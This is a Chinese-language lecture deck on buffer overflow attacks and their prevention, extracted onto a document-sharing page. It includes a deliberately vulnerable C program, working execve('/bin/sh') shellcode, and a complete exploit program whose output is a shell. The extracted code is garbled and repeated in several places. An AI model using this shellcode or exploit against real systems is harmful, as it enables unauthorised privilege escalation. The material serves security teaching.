收藏 分享(赏)

(6)缓存区溢出及防范技术.ppt

上传人:HR专家 文档编号:6342242 上传时间:2019-04-08 格式:PPT 页数:67 大小:727KB
下载 相关 举报
(6)缓存区溢出及防范技术.ppt_第1页
第1页 / 共67页
(6)缓存区溢出及防范技术.ppt_第2页
第2页 / 共67页
(6)缓存区溢出及防范技术.ppt_第3页
第3页 / 共67页
(6)缓存区溢出及防范技术.ppt_第4页
第4页 / 共67页
(6)缓存区溢出及防范技术.ppt_第5页
第5页 / 共67页
点击查看更多>>
资源描述

1、信息安全研究中心,缓存区溢出攻击概述概念,缓冲区溢出攻击是Internet上最普遍、也是危害最大的一种网络攻击手段缓冲区溢出攻击是一种利用目标程序的漏洞,通过往目标程序的缓冲区写入超出其长度的内容,造成缓冲区的溢出,破坏程序的堆栈,使程序转而执行指定代码,从而获得权限或进行攻击的一种攻击手段,信息安全研究中心,缓存区溢出攻击概述危害性,自1988年的Moris蠕虫事件以来,缓冲区溢出一直是一种严重的安全问题 在近五年中,每年CERT/CC公布的缓冲区溢出漏洞在其当年公布的重大安全漏洞中所占比率均在50以上 在Bugtraq的调查中,有2/3的被调查者均认为缓冲区溢出是一个很严重的安全问题,信息

2、安全研究中心,缓存区溢出攻击原理 内存模型(1),程序运行时,操作系统会分配给每个进程独立的虚拟地址空间,包括代码区、数据区和堆栈区 缓冲区溢出攻击就是利用动态的堆栈区内容进行操作来达到攻击目的 C程序中,每当调用函数时就会自动处理堆栈分配 堆栈起到了保存有关当前函数调用上下文的容器的作用,信息安全研究中心,缓存区溢出攻击原理 内存模型(2),传递到函数中的参数(被调用函数的所需参数)压栈 调用者使用调用指令来调用函数 指令寄存器(EIP)内容入栈,作为函数返回(ret)地址 堆栈的基址寄存器内容(EBP)入栈,把当前栈指针(SP)拷贝到EBP,作为新的基地址 预留函数非静态局部变量值空间,开

3、始执行调用函数, 内存低端 局部变量缓冲区 栈顶堆栈基址EBP函数返回地址EIP 内存高端 传递到函数的参数 栈底 ,信息安全研究中心,缓存区溢出攻击原理 攻击原理,当实际赋入局部变量的值长度超出缓冲区长度,而程序中又缺乏边界检查机制时,数据就会继续向栈底写入,导致栈中旧的元素被覆盖 只要在程序运行时传送给它一个足够大的参数,就可以在返回地址中填入一个希望程序转到的任意内存地址,从而控制程序的运行权,而且此时攻击者拥有的权限与运行程序所需的权限相同,信息安全研究中心,缓存区溢出攻击原理,实际操作中还存在两个问题 攻击代码植入目标程序地址空间 改写返回地址为攻击代码地址以获得程序控制权 实际上,

4、常见的缓冲区溢出攻击都是一次完成攻击代码植入和程序转向攻击代码两种功能 攻击者找到溢出漏洞,然后向被攻击程序传送一个包括攻击代码的长字符串,在引发缓冲区溢出的同时植入了攻击代码,信息安全研究中心,#include #include void SayHello(char* name) char tmpName80;strcpy(tmpName, name);/* Do some checks for tmpName.*/printf(“Hello %sn“, tmpName); ,int main(int argc, char* argv) int a;char *p=malloc(3);if

5、(argc != 2) printf(“Usage: hello .n“);return 1;SayHello(argv1);return 0; ,hello.c,信息安全研究中心,运行情况,$ ./hello computer Hello computer,hello.c,信息安全研究中心,运行情况,$ ./hello computer Hello computer $ ./hello aaaa.a Hello aaaa.a Segmentation fault (core dumped),hello.c,信息安全研究中心,运行情况,$ ./hello computer Hello comp

6、uter $ ./hello aaaa.a Hello aaaa.a Segmentation fault (core dumped),hello.c,Why?,信息安全研究中心,检查一下程序,#include #include void SayHello(char* name) char tmpName80;strcpy(tmpName, name);/* Do some checks for tmpName.*/printf(“Hello %sn“, tmpName); ,int main(int argc, char* argv) if (argc != 2) printf(“Usage

7、: hello .n“);return 1;SayHello(argv1);return 0; ,hello.c,信息安全研究中心,发生了什么事?,信息安全研究中心,几个要点,Linux及其它几乎所有Intel x86系统、Solaris, etc 分页式存储管理 平面内存结构,4GB或更大逻辑地址空间 栈从下往上生长 C语言不进行边界检查,信息安全研究中心,进程内存布局,信息安全研究中心,调用SayHello之前的栈,main栈帧,信息安全研究中心,进入SayHello后的栈,tmpName80main-fp retip name main栈帧.,ESP,SayHello栈帧,信息安全研究中

8、心,准备退出SayHello的栈(情况1),computer. main-fp retip name main栈帧.,ESP,SayHello栈帧,./hello computer,信息安全研究中心,准备退出SayHello的栈(情况2),aaaaaaaaaaaaaaaaaa aaaaaaaa 0x61616161 0x61616161 0x61616161 main栈帧.,ESP,SayHello栈帧,?,./hello aaaaaa.a,信息安全研究中心,如果精心选择数据.,信息安全研究中心,如果精心选择数据.,ESP,SayHello栈帧,信息安全研究中心,如果精心选择数据.,? ? 0

9、x? 0xNNNNNNNN 0x? . .,ESP,SayHello栈帧,信息安全研究中心,如果精心选择数据.,? ? 0x? 0xNNNNNNNN 0x? . .Our-Codes,ESP,SayHello栈帧,信息安全研究中心,如何选择这些数据?,几个问题: SayHello函数局部变量区大小?,信息安全研究中心,如何选择这些数据?,几个问题: SayHello函数局部变量区大小?NNNNNNNN如何确定?,信息安全研究中心,如何选择这些数据?,几个问题: SayHello函数局部变量区大小?NNNNNNNN如何确定?Our codes该怎样写,信息安全研究中心,如何选择这些数据?,几个问

10、题: SayHello函数局部变量区大小?NNNNNNNN如何确定?Our codes该怎样写输入缓冲区不能包含0,信息安全研究中心,局部变量区问题,? ? 0x? 0xNNNNNNNN 0x? . .Our-Codes,ESP,SayHello栈帧,信息安全研究中心,局部变量区问题,0xNNNNNNNN NNNN 0xNNNNNNNN 0xNNNNNNNN 0xNNNNNNNN 0xNNNNNNNN 0xNNNNNNNNOur-Codes,ESP,SayHello栈帧,信息安全研究中心,代码起始地址如何确定?,0xNNNNNNNN NNNN 0xNNNNNNNN 0xNNNNNNNN 0xN

11、NNNNNNN 0xNNNNNNNN 0xNNNNNNNNOur-Codes,ESP,SayHello栈帧,4K,信息安全研究中心,代码起始地址如何确定,问题已转化为用ESP加上某一偏移,信息安全研究中心,代码起始地址如何确定,问题已转化为用ESP加上某一偏移 该偏移不需要精确,信息安全研究中心,为什么偏移不需要精确?,0xNNNNNNNN NNNN 0xNNNNNNNN 0xNNNNNNNN 0xNNNNNNNN 0xNNNNNNNN .NNNNN NOP NOP NOP Real-Codes,ESP,SayHello栈帧,信息安全研究中心,代码起始地址如何确定,问题已转化为用ESP加上某一

12、偏移 该偏移不需要精确ESP如何确定呢,信息安全研究中心,代码起始地址如何确定,问题已转化为用ESP加上某一偏移 该偏移不需要精确ESP如何确定呢 unsigned long get_esp() _asm_(“movl %esp, %eax“); ,信息安全研究中心,植入代码如何编写,信息安全研究中心,植入代码如何编写,jmp label2 label1: pop esimov esi+8, esixor eax, eaxmov esi+7, almov esi+12, eaxmov al, 0bhmov ebx, esilea ecx, esi+8lea edx, esi+12int 80h

13、xor ebx, ebxmov eax, ebxinc eaxint 80h label2: call label1 cmd: db “/bin/sh”, 0,信息安全研究中心,植入代码如何编写,jmp label2 label1: pop esimov esi+8, esixor eax, eaxmov esi+7, almov esi+12, eaxmov al, 0bhmov ebx, esilea ecx, esi+8lea edx, esi+12int 80hxor ebx, ebxmov eax, ebxinc eaxint 80h label2: call label1 cmd:

14、 db “/bin/sh”, 0,信息安全研究中心,植入代码如何编写,jmp label2 label1: pop esimov esi+8, esixor eax, eaxmov esi+7, almov esi+12, eaxmov al, 0bhmov ebx, esilea ecx, esi+8lea edx, esi+12int 80hxor ebx, ebxmov eax, ebxinc eaxint 80h label2: call label1 cmd: db “/bin/sh”, 0,信息安全研究中心,植入代码如何编写,jmp label2 label1: pop esimo

15、v esi+8, esixor eax, eaxmov esi+7, almov esi+12, eaxmov al, 0bhmov ebx, esilea ecx, esi+8lea edx, esi+12int 80hxor ebx, ebxmov eax, ebxinc eaxint 80h label2: call label1 cmd: db “/bin/sh”, 0,esi = cmd,信息安全研究中心,植入代码如何编写,jmp label2 label1: pop esimov esi+8, esixor eax, eaxmov esi+7, almov esi+12, eaxm

16、ov al, 0bhmov ebx, esilea ecx, esi+8lea edx, esi+12int 80hxor ebx, ebxmov eax, ebxinc eaxint 80h label2: call label1 cmd: db “/bin/sh”, 0,esi = cmd,信息安全研究中心,植入代码如何编写,jmp label2 label1: pop esimov esi+8, esixor eax, eaxmov esi+7, almov esi+12, eaxmov al, 0bhmov ebx, esilea ecx, esi+8lea edx, esi+12in

17、t 80hxor ebx, ebxmov eax, ebxinc eaxint 80h label2: call label1 cmd: db “/bin/sh”, 0 esi+8: cmd,esi = cmd,信息安全研究中心,植入代码如何编写,jmp label2 label1: pop esimov esi+8, esixor eax, eaxmov esi+7, almov esi+12, eaxmov al, 0bhmov ebx, esilea ecx, esi+8lea edx, esi+12int 80hxor ebx, ebxmov eax, ebxinc eaxint 80

18、h label2: call label1 cmd: db “/bin/sh”, 0 esi+8: cmd,esi = cmd,信息安全研究中心,植入代码如何编写,jmp label2 label1: pop esimov esi+8, esixor eax, eaxmov esi+7, almov esi+12, eaxmov al, 0bhmov ebx, esilea ecx, esi+8lea edx, esi+12int 80hxor ebx, ebxmov eax, ebxinc eaxint 80h label2: call label1 cmd: db “/bin/sh”, 0

19、 esi+8: cmd,esi = cmd,信息安全研究中心,植入代码如何编写,jmp label2 label1: pop esimov esi+8, esixor eax, eaxmov esi+7, almov esi+12, eaxmov al, 0bhmov ebx, esilea ecx, esi+8lea edx, esi+12int 80hxor ebx, ebxmov eax, ebxinc eaxint 80h label2: call label1 cmd: db “/bin/sh”, 0 esi+8: cmd, 0,esi = cmd,信息安全研究中心,植入代码如何编写

20、,jmp label2 label1: pop esimov esi+8, esixor eax, eaxmov esi+7, almov esi+12, eaxmov al, 0bhmov ebx, esilea ecx, esi+8lea edx, esi+12int 80hxor ebx, ebxmov eax, ebxinc eaxint 80h label2: call label1 cmd: db “/bin/sh”, 0 esi+8: cmd, 0,esi = cmd,运行程序路径,命令行参数,execp,系统调用,信息安全研究中心,植入代码如何编写,jmp label2 lab

21、el1: pop esimov esi+8, esixor eax, eaxmov esi+7, almov esi+12, eaxmov al, 0bhmov ebx, esilea ecx, esi+8lea edx, esi+12int 80hxor ebx, ebxmov eax, ebxinc eaxint 80h label2: call label1 cmd: db “/bin/sh”, 0 esi+8: cmd, 0,esi = cmd,_exit,信息安全研究中心,植入代码二进制格式,char shell_code =“xebx1fx5ex89x76x08x31xc0”“x8

22、8x46x07x89x46x0cxb0x0b“x89xf3x8dx4ex08x8dx56x0c”“xcdx80x31xdbx89xd8x40xcd“x80xe8xdcxffxffxff/bin/sh“;,信息安全研究中心,植入代码自测试程序(1),#include unsigned char shell_code =“xebx1fx5ex89x76x08x31xc0”“x88x46x07x89x46x0cxb0x0b“x89xf3x8dx4ex08x8dx56x0c”“xcdx80x31xdbx89xd8x40xcd“x80xe8xdcxffxffxff/bin/ls“; char large

23、_string128;main() char buffer96;int i;,test1.c,信息安全研究中心,植入代码自测试程序(2),long* long_ptr = (long*)large_string;for (i = 0; i 32; i+)long_ptri = (long)buffer;for (i = 0; i strlen(shell_code); i+)large_stringi = shell_codei;strcpy(buffer, large_string);printf(“Is everything OK? :-)n“); ,test1.c,信息安全研究中心,植入

24、代码自测试程序(3),$ ./test1 Is everything OK? :-),test1.c,信息安全研究中心,植入代码自测试程序(3),$ ./test1 Is everything OK? :-) hello hello.c test1 test1.c,test1.c,信息安全研究中心,完整的攻击hello的程序(1),#include #include #include unsigned char shell_code =“xebx1fx5ex89x76x08x31xc0”“x88x46x07x89x46x0cxb0x0b“x89xf3x8dx4ex08x8dx56x0c”“xc

25、dx80x31xdbx89xd8x40xcd“x80xe8xdcxffxffxff/bin/sh“;#define DEFAULT_OFFSET 0 #define BUFFER_SIZE 1024,test2.c,信息安全研究中心,完整的攻击hello的程序(2),unsigned long get_esp() _asm_(“movl %esp, %eax“); main(int argc, char* argv) char* buff;char* ptr;unsigned long* addr_ptr;unsigned long esp;int i, ofs;,test2.c,信息安全研究

26、中心,完整的攻击hello的程序(3),if (argc = 1)ofs = DEFAULT_OFFSET;elseofs = atoi(argv1);ptr = buff = malloc(4096);/* Fill in with addresses */addr_ptr = (unsigned long*)ptr;esp = get_esp();printf(“ESP = %08xn“, esp);for (i = 0; i 100; i+)*(addr_ptr+) = esp + ofs;,test2.c,信息安全研究中心,完整的攻击hello的程序(4),/* Fill the st

27、art of shell buffer with NOPs */ptr = (char*)addr_ptr;memset(ptr,A,BUFFER_SIZE-strlen(shell_code);ptr += BUFFER_SIZE - strlen(shell_code);/* And then the shell code */memcpy(ptr, shell_code, strlen(shell_code);ptr += strlen(shell_code);*ptr = 0;printf(“Is everything OK? :-)n“);execl(“./hello“, “hell

28、o“, buff, NULL); ,test2.c,信息安全研究中心,完整的攻击hello的程序(4),/* Fill the start of shell buffer with NOPs */ptr = (char*)addr_ptr;memset(ptr,A,BUFFER_SIZE-strlen(shell_code);ptr += BUFFER_SIZE - strlen(shell_code);/* And then the shell code */memcpy(ptr, shell_code, strlen(shell_code);ptr += strlen(shell_code

29、);*ptr = 0;printf(“Is everything OK? :-)n“);execl(“./hello“, “hello“, buff, NULL); ,test2.c,信息安全研究中心,完整的攻击hello的程序(4),/* Fill the start of shell buffer with NOPs */ptr = (char*)addr_ptr;memset(ptr,A,BUFFER_SIZE-strlen(shell_code);ptr += BUFFER_SIZE - strlen(shell_code);/* And then the shell code */m

30、emcpy(ptr, shell_code, strlen(shell_code);ptr += strlen(shell_code);*ptr = 0;printf(“Is everything OK? :-)n“);execl(“./hello“, “hello“, buff, NULL); ,test2.c,信息安全研究中心,完整的攻击hello的程序(5),$ ./test2 ESP = bffffcd0 Is everything OK? :-) Hello /bin/sh,test2.c,信息安全研究中心,完整的攻击hello的程序(5),$ ./test2 ESP = bffff

31、cd0 Is everything OK? :-) Hello /bin/sh bash$ _,test2.c,信息安全研究中心,完整的攻击hello的程序(5),$ ./test2 ESP = bffffcd0 Is everything OK? :-) Hello /bin/sh bash$ _,test2.c,信息安全研究中心,完整的攻击hello的程序(5),$ ./test2 ESP = bffffcd0 Is everything OK? :-) Hello /bin/sh bash$ bash$ whoami tly bash$ _,test2.c,信息安全研究中心,得出的结论,

32、一个程序当没有很好地检查边界条件时可能会受到缓冲区溢出攻击。有缓冲区溢出漏洞的程序当它能以特权用户身份运行时,可能让普通用户无需经过认证就可以获得系统特权。,信息安全研究中心,建立缓冲区溢出防范体系,分为三个阶段: 设计阶段:安全编程 测试阶段:编译检查 使用阶段:安全配置,信息安全研究中心,建立缓冲区溢出防范体系 设计阶段,安全编程避免使用非安全的C函数自身不进行变量检查的非安全字符串操作函数 执行边界检查C和C不能自动进行边界检查 采用非执行堆栈技术使被攻击程序的数据段和堆栈数据段地址空间不可执行,信息安全研究中心,建立缓冲区溢出防范体系 设计阶段,C标准库中部分非安全函数及其危险性、解决方案列表,信息安全研究中心,建立缓冲区溢出防范体系 测试阶段,编译检查编译检查阶段主要通过使用静态和动态测试工具来检查和消除缓冲区溢出漏洞 静态测试搜索源代码、使用带有安全检查的编译器 动态测试错误注入工具(Fault Injection System Tool ),信息安全研究中心,建立缓冲区溢出防范体系 使用阶段,安全配置 隐藏系统信息 使攻击者无法确认溢出漏洞的位置 关闭不需要的服务不必要的对外服务往往会提供攻击者其所需的漏洞 最小权限原则 取消普通用户的控制台访问权限 减少特权程序的使用(权限位中出现“s”的文件),

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 企业管理 > 经营企划

本站链接:文库   一言   我酷   合作


客服QQ:2549714901微博号:道客多多官方知乎号:道客多多

经营许可证编号: 粤ICP备2021046453号世界地图

道客多多©版权所有2020-2025营业执照举报